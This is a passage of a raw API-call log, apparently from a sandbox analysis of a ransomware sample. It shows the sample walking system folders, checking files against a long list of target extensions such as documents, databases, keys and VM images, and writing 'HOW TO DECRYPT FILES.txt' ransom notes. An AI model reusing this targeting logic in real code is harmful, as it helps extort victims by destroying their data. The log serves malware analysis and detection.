(pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\fdcd7d9230a1e1049a86779ba14f88c1\\Microsoft.VisualStudio.Tools.Applications.ServerDocument.v10.0.ni.dll", pszSpec="*.dot") returned 0 [0103.396] lstrlenA (lpString="*.dot") returned 5 [0103.396] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\fdcd7d9230a1e1049a86779ba14f88c1\\Microsoft.VisualStudio.Tools.Applications.ServerDocument.v10.0.ni.dll", pszSpec="*.docx") returned 0 [0103.396] lstrlenA (lpString="*.docx") returned 6 [0103.396] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\fdcd7d9230a1e1049a86779ba14f88c1\\Microsoft.VisualStudio.Tools.Applications.ServerDocument.v10.0.ni.dll", pszSpec="*.7z") returned 0 [0103.396] lstrlenA (lpString="*.7z") returned 4 [0103.396] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\fdcd7d9230a1e1049a86779ba14f88c1\\Microsoft.VisualStudio.Tools.Applications.ServerDocument.v10.0.ni.dll", pszSpec="*.tar") returned 0 [0103.396] lstrlenA (lpString="*.tar") returned 5 [0103.396] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\fdcd7d9230a1e1049a86779ba14f88c1\\Microsoft.VisualStudio.Tools.Applications.ServerDocument.v10.0.ni.dll", pszSpec="*.bz2") returned 0 [0103.396] lstrlenA (lpString="*.bz2") returned 5 [0103.396] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\fdcd7d9230a1e1049a86779ba14f88c1\\Microsoft.VisualStudio.Tools.Applications.ServerDocument.v10.0.ni.dll", pszSpec="*.gz") returned 0 [0103.396] lstrlenA (lpString="*.gz") returned 4 [0103.396] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\fdcd7d9230a1e1049a86779ba14f88c1\\Microsoft.VisualStudio.Tools.Applications.ServerDocument.v10.0.ni.dll", pszSpec="*.mkv") returned 0 [0103.396] lstrlenA (lpString="*.mkv") returned 5 [0103.396] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\fdcd7d9230a1e1049a86779ba14f88c1\\Microsoft.VisualStudio.Tools.Applications.ServerDocument.v10.0.ni.dll", pszSpec="*.eml") returned 0 [0103.396] lstrlenA (lpString="*.eml") returned 5 [0103.397] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\fdcd7d9230a1e1049a86779ba14f88c1\\Microsoft.VisualStudio.Tools.Applications.ServerDocument.v10.0.ni.dll", pszSpec="*.msg") returned 0 [0103.397] lstrlenA (lpString="*.msg") returned 5 [0103.397] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\fdcd7d9230a1e1049a86779ba14f88c1\\Microsoft.VisualStudio.Tools.Applications.ServerDocument.v10.0.ni.dll", pszSpec="*.edb") returned 0 [0103.397] lstrlenA (lpString="*.edb") returned 5 [0103.397] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\fdcd7d9230a1e1049a86779ba14f88c1\\Microsoft.VisualStudio.Tools.Applications.ServerDocument.v10.0.ni.dll", pszSpec="*.accdb") returned 0 [0103.397] lstrlenA (lpString="*.accdb") returned 7 [0103.397] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\fdcd7d9230a1e1049a86779ba14f88c1\\Microsoft.VisualStudio.Tools.Applications.ServerDocument.v10.0.ni.dll", pszSpec="*.odb") returned 0 [0103.397] lstrlenA (lpString="*.odb") returned 5 [0103.397] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\fdcd7d9230a1e1049a86779ba14f88c1\\Microsoft.VisualStudio.Tools.Applications.ServerDocument.v10.0.ni.dll", pszSpec="*.java") returned 0 [0103.397] lstrlenA (lpString="*.java") returned 6 [0103.397] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\fdcd7d9230a1e1049a86779ba14f88c1\\Microsoft.VisualStudio.Tools.Applications.ServerDocument.v10.0.ni.dll", pszSpec="*.asm") returned 0 [0103.397] lstrlenA (lpString="*.asm") returned 5 [0103.397] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\fdcd7d9230a1e1049a86779ba14f88c1\\Microsoft.VisualStudio.Tools.Applications.ServerDocument.v10.0.ni.dll", pszSpec="*.pfx") returned 0 [0103.397] lstrlenA (lpString="*.pfx") returned 5 [0103.397] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\fdcd7d9230a1e1049a86779ba14f88c1\\Microsoft.VisualStudio.Tools.Applications.ServerDocument.v10.0.ni.dll", pszSpec="*.pem") returned 0 [0103.398] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\fdcd7d9230a1e1049a86779ba14f88c1\\Microsoft.VisualStudio.Tools.Applications.ServerDocument.v10.0.ni.dll", pszSpec="*.p12") returned 0 [0103.398] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\fdcd7d9230a1e1049a86779ba14f88c1\\Microsoft.VisualStudio.Tools.Applications.ServerDocument.v10.0.ni.dll", pszSpec="*.gpg") returned 0 [0103.398] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\fdcd7d9230a1e1049a86779ba14f88c1\\Microsoft.VisualStudio.Tools.Applications.ServerDocument.v10.0.ni.dll", pszSpec="*.vsd") returned 0 [0103.398] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\fdcd7d9230a1e1049a86779ba14f88c1\\Microsoft.VisualStudio.Tools.Applications.ServerDocument.v10.0.ni.dll", pszSpec="*.odg") returned 0 [0103.398] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\fdcd7d9230a1e1049a86779ba14f88c1\\Microsoft.VisualStudio.Tools.Applications.ServerDocument.v10.0.ni.dll", pszSpec="*.raw") returned 0 [0103.398] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\fdcd7d9230a1e1049a86779ba14f88c1\\Microsoft.VisualStudio.Tools.Applications.ServerDocument.v10.0.ni.dll", pszSpec="*.nef") returned 0 [0103.398] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\fdcd7d9230a1e1049a86779ba14f88c1\\Microsoft.VisualStudio.Tools.Applications.ServerDocument.v10.0.ni.dll", pszSpec="*.svg") returned 0 [0103.398] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\fdcd7d9230a1e1049a86779ba14f88c1\\Microsoft.VisualStudio.Tools.Applications.ServerDocument.v10.0.ni.dll", pszSpec="*.psd") returned 0 [0103.399] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\fdcd7d9230a1e1049a86779ba14f88c1\\Microsoft.VisualStudio.Tools.Applications.ServerDocument.v10.0.ni.dll", pszSpec="*.vmx") returned 0 [0103.399] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\fdcd7d9230a1e1049a86779ba14f88c1\\Microsoft.VisualStudio.Tools.Applications.ServerDocument.v10.0.ni.dll", pszSpec="*.vmdk") returned 0 [0103.399] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\fdcd7d9230a1e1049a86779ba14f88c1\\Microsoft.VisualStudio.Tools.Applications.ServerDocument.v10.0.ni.dll", pszSpec="*.vdi") returned 0 [0103.399] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\fdcd7d9230a1e1049a86779ba14f88c1\\Microsoft.VisualStudio.Tools.Applications.ServerDocument.v10.0.ni.dll", pszSpec="*.lay6") returned 0 [0103.399] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\fdcd7d9230a1e1049a86779ba14f88c1\\Microsoft.VisualStudio.Tools.Applications.ServerDocument.v10.0.ni.dll", pszSpec="*.mpeg") returned 0 [0103.399] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\fdcd7d9230a1e1049a86779ba14f88c1\\Microsoft.VisualStudio.Tools.Applications.ServerDocument.v10.0.ni.dll", pszSpec="*.djvu") returned 0 [0103.399] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\fdcd7d9230a1e1049a86779ba14f88c1\\Microsoft.VisualStudio.Tools.Applications.ServerDocument.v10.0.ni.dll", pszSpec="*.tiff") returned 0 [0103.399] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\fdcd7d9230a1e1049a86779ba14f88c1\\Microsoft.VisualStudio.Tools.Applications.ServerDocument.v10.0.ni.dll", pszSpec="*.backup") returned 0 [0103.399] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\fdcd7d9230a1e1049a86779ba14f88c1\\Microsoft.VisualStudio.Tools.Applications.ServerDocument.v10.0.ni.dll", pszSpec="*.pdf") returned 0 [0103.400] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\fdcd7d9230a1e1049a86779ba14f88c1\\Microsoft.VisualStudio.Tools.Applications.ServerDocument.v10.0.ni.dll", pszSpec="*.cert") returned 0 [0103.400] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\fdcd7d9230a1e1049a86779ba14f88c1\\Microsoft.VisualStudio.Tools.Applications.ServerDocument.v10.0.ni.dll", pszSpec="*.docm") returned 0 [0103.400] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\fdcd7d9230a1e1049a86779ba14f88c1\\Microsoft.VisualStudio.Tools.Applications.ServerDocument.v10.0.ni.dll", pszSpec="*.xlsm") returned 0 [0103.400] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\fdcd7d9230a1e1049a86779ba14f88c1\\Microsoft.VisualStudio.Tools.Applications.ServerDocument.v10.0.ni.dll", pszSpec="*.dwg") returned 0 [0103.400] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\fdcd7d9230a1e1049a86779ba14f88c1\\Microsoft.VisualStudio.Tools.Applications.ServerDocument.v10.0.ni.dll", pszSpec="*.nd") returned 0 [0103.400] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\fdcd7d9230a1e1049a86779ba14f88c1\\Microsoft.VisualStudio.Tools.Applications.ServerDocument.v10.0.ni.dll", pszSpec="*.tlg") returned 0 [0103.400] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\fdcd7d9230a1e1049a86779ba14f88c1\\Microsoft.VisualStudio.Tools.Applications.ServerDocument.v10.0.ni.dll", pszSpec="*.lgb") returned 0 [0103.400] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\fdcd7d9230a1e1049a86779ba14f88c1\\Microsoft.VisualStudio.Tools.Applications.ServerDocument.v10.0.ni.dll", pszSpec="*.mov") returned 0 [0103.400] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\fdcd7d9230a1e1049a86779ba14f88c1\\Microsoft.VisualStudio.Tools.Applications.ServerDocument.v10.0.ni.dll", pszSpec="*.xdw") returned 0 [0103.401] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\fdcd7d9230a1e1049a86779ba14f88c1\\Microsoft.VisualStudio.Tools.Applications.ServerDocument.v10.0.ni.dll", pszSpec="*.ods") returned 0 [0103.401] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\fdcd7d9230a1e1049a86779ba14f88c1\\Microsoft.VisualStudio.Tools.Applications.ServerDocument.v10.0.ni.dll", pszSpec="*.wav") returned 0 [0103.401] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\fdcd7d9230a1e1049a86779ba14f88c1\\Microsoft.VisualStudio.Tools.Applications.ServerDocument.v10.0.ni.dll", pszSpec="*.mp3") returned 0 [0103.401] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\fdcd7d9230a1e1049a86779ba14f88c1\\Microsoft.VisualStudio.Tools.Applications.ServerDocument.v10.0.ni.dll", pszSpec="*.aiff") returned 0 [0103.401] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\fdcd7d9230a1e1049a86779ba14f88c1\\Microsoft.VisualStudio.Tools.Applications.ServerDocument.v10.0.ni.dll", pszSpec="*.flac") returned 0 [0103.401] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\fdcd7d9230a1e1049a86779ba14f88c1\\Microsoft.VisualStudio.Tools.Applications.ServerDocument.v10.0.ni.dll", pszSpec="*.m4a") returned 0 [0103.401] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\fdcd7d9230a1e1049a86779ba14f88c1\\Microsoft.VisualStudio.Tools.Applications.ServerDocument.v10.0.ni.dll", pszSpec="*.csv") returned 0 [0103.401] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4c533aa0, ftCreationTime.dwHighDateTime=0x1d305ec, ftLastAccessTime.dwLowDateTime=0x4c533aa0, ftLastAccessTime.dwHighDateTime=0x1d305ec, ftLastWriteTime.dwLowDateTime=0x4c533aa0, ftLastWriteTime.dwHighDateTime=0x1d305ec, nFileSizeHigh=0x0, nFileSizeLow=0x9ee00, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="Microsoft.VisualStudio.Tools.Applications.ServerDocument.v10.0.ni.dll", cAlternateFileName="MICROS~1.DLL")) returned 0 [0103.401] FindClose (in: hFindFile=0x502618 | out: hFindFile=0x502618) returned 1 [0103.401] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4c559c00, ftCreationTime.dwHighDateTime=0x1d305ec, ftLastAccessTime.dwLowDateTime=0x4c559c00, ftLastAccessTime.dwHighDateTime=0x1d305ec, ftLastWriteTime.dwLowDateTime=0x4c559c00, ftLastWriteTime.dwHighDateTime=0x1d305ec, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName="fdcd7d9230a1e1049a86779ba14f88c1", cAlternateFileName="FDCD7D~1")) returned 0 [0103.402] FindClose (in: hFindFile=0x502598 | out: hFindFile=0x502598) returned 1 [0103.402] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5ed3967a, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x5ed3967a, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x5ed3967a, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x746e656d, dwReserved1=0x3031762e, cFileName="Microsoft.Vsa", cAlternateFileName="MICROS~1.VSA")) returned 1 [0103.402] lstrcmpA (lpString1=".", lpString2="Microsoft.Vsa") returned -1 [0103.402] lstrcmpA (lpString1="..", lpString2="Microsoft.Vsa") returned -1 [0103.402] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\*.*") returned="*.*" [0103.402] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\", lpString2="Microsoft.Vsa" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Vsa") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Vsa" [0103.402] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Vsa\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5ed3967a, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x5ed3967a, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x5ed3967a, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0103.403] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0103.403] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5ed3967a, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x5ed3967a, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x5ed3967a, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0103.403] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0103.403] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0103.403] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5ed3967a, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x5ed3967a, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x5ed3967a, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="a415a146afc72f13f691f69a11ab5609", cAlternateFileName="A415A1~1")) returned 1 [0103.403] lstrcmpA (lpString1=".", lpString2="a415a146afc72f13f691f69a11ab5609") returned -1 [0103.403] lstrcmpA (lpString1="..", lpString2="a415a146afc72f13f691f69a11ab5609") returned -1 [0103.403] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Vsa\\*.*") returned="*.*" [0103.403] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Vsa\\", lpString2="a415a146afc72f13f691f69a11ab5609" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Vsa\\a415a146afc72f13f691f69a11ab5609") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Vsa\\a415a146afc72f13f691f69a11ab5609" [0103.404] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Vsa\\a415a146afc72f13f691f69a11ab5609\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5ed3967a, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x5ed3967a, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x5ed3967a, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502618 [0103.404] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0103.404] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5ed3967a, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x5ed3967a, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x5ed3967a, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0103.404] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0103.404] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0103.404] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5ecc7259, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x5ecc7259, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x5ecc7259, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0xd800, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="Microsoft.Vsa.ni.dll", cAlternateFileName="MICROS~1.DLL")) returned 1 [0103.404] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0103.404] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="Microsoft.Vsa.ni.dll") returned -1 [0103.405] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="Microsoft.Vsa.ni.dll") returned -1 [0103.405] lstrcmpiA (lpString1="", lpString2="Microsoft.Vsa.ni.dll") returned -1 [0103.405] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Vsa\\a415a146afc72f13f691f69a11ab5609\\*.*") returned="*.*" [0103.405] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Vsa\\a415a146afc72f13f691f69a11ab5609\\" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Vsa\\a415a146afc72f13f691f69a11ab5609\\") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Vsa\\a415a146afc72f13f691f69a11ab5609\\" [0103.405] PathAddBackslashA (in: pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Vsa\\a415a146afc72f13f691f69a11ab5609\\" | out: pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Vsa\\a415a146afc72f13f691f69a11ab5609\\") returned="" [0103.405] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Vsa\\a415a146afc72f13f691f69a11ab5609\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Vsa\\a415a146afc72f13f691f69a11ab5609\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Vsa\\a415a146afc72f13f691f69a11ab5609\\HOW TO DECRYPT FILES.txt" [0103.405] GetFileAttributesA (lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Vsa\\a415a146afc72f13f691f69a11ab5609\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_32\\microsoft.vsa\\a415a146afc72f13f691f69a11ab5609\\how to decrypt files.txt")) returned 0xffffffff [0103.405] CreateFileA (lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Vsa\\a415a146afc72f13f691f69a11ab5609\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_32\\microsoft.vsa\\a415a146afc72f13f691f69a11ab5609\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x90 [0103.406] WriteFile (in: hFile=0x90, lpBuffer=0x4f4b00*, nNumberOfBytesToWrite=0x32d, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x4f4b00*, lpNumberOfBytesWritten=0x406561*=0x32d, lpOverlapped=0x0) returned 1 [0103.407] SetFileTime (hFile=0x90, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0103.408] CloseHandle (hObject=0x90) returned 1 [0103.408] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Vsa\\a415a146afc72f13f691f69a11ab5609\\", lpString2="Microsoft.Vsa.ni.dll" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Vsa\\a415a146afc72f13f691f69a11ab5609\\Microsoft.Vsa.ni.dll") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Vsa\\a415a146afc72f13f691f69a11ab5609\\Microsoft.Vsa.ni.dll" [0103.408] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Vsa\\a415a146afc72f13f691f69a11ab5609\\Microsoft.Vsa.ni.dll", pszSpec="*.ems") returned 0 [0103.408] lstrlenA (lpString="*.ems") returned 5 [0103.408] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Vsa\\a415a146afc72f13f691f69a11ab5609\\Microsoft.Vsa.ni.dll", pszSpec="*.db") returned 0 [0103.408] lstrlenA (lpString="*.db") returned 4 [0103.408] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Vsa\\a415a146afc72f13f691f69a11ab5609\\Microsoft.Vsa.ni.dll", pszSpec="*.dbf") returned 0 [0103.408] lstrlenA (lpString="*.dbf") returned 5 [0103.408] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Vsa\\a415a146afc72f13f691f69a11ab5609\\Microsoft.Vsa.ni.dll", pszSpec="*.myox") returned 0 [0103.408] lstrlenA (lpString="*.myox") returned 6 [0103.408] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Vsa\\a415a146afc72f13f691f69a11ab5609\\Microsoft.Vsa.ni.dll", pszSpec="*.myo") returned 0 [0103.408] lstrlenA (lpString="*.myo") returned 5 [0103.408] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Vsa\\a415a146afc72f13f691f69a11ab5609\\Microsoft.Vsa.ni.dll", pszSpec="*.qbw") returned 0 [0103.408] lstrlenA (lpString="*.qbw") returned 5 [0103.408] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Vsa\\a415a146afc72f13f691f69a11ab5609\\Microsoft.Vsa.ni.dll", pszSpec="*.qbb") returned 0 [0103.408] lstrlenA (lpString="*.qbb") returned 5 [0103.408] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Vsa\\a415a146afc72f13f691f69a11ab5609\\Microsoft.Vsa.ni.dll", pszSpec="*.qbm") returned 0 [0103.409] lstrlenA (lpString="*.qbm") returned 5 [0103.409] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Vsa\\a415a146afc72f13f691f69a11ab5609\\Microsoft.Vsa.ni.dll", pszSpec="*.qbo") returned 0 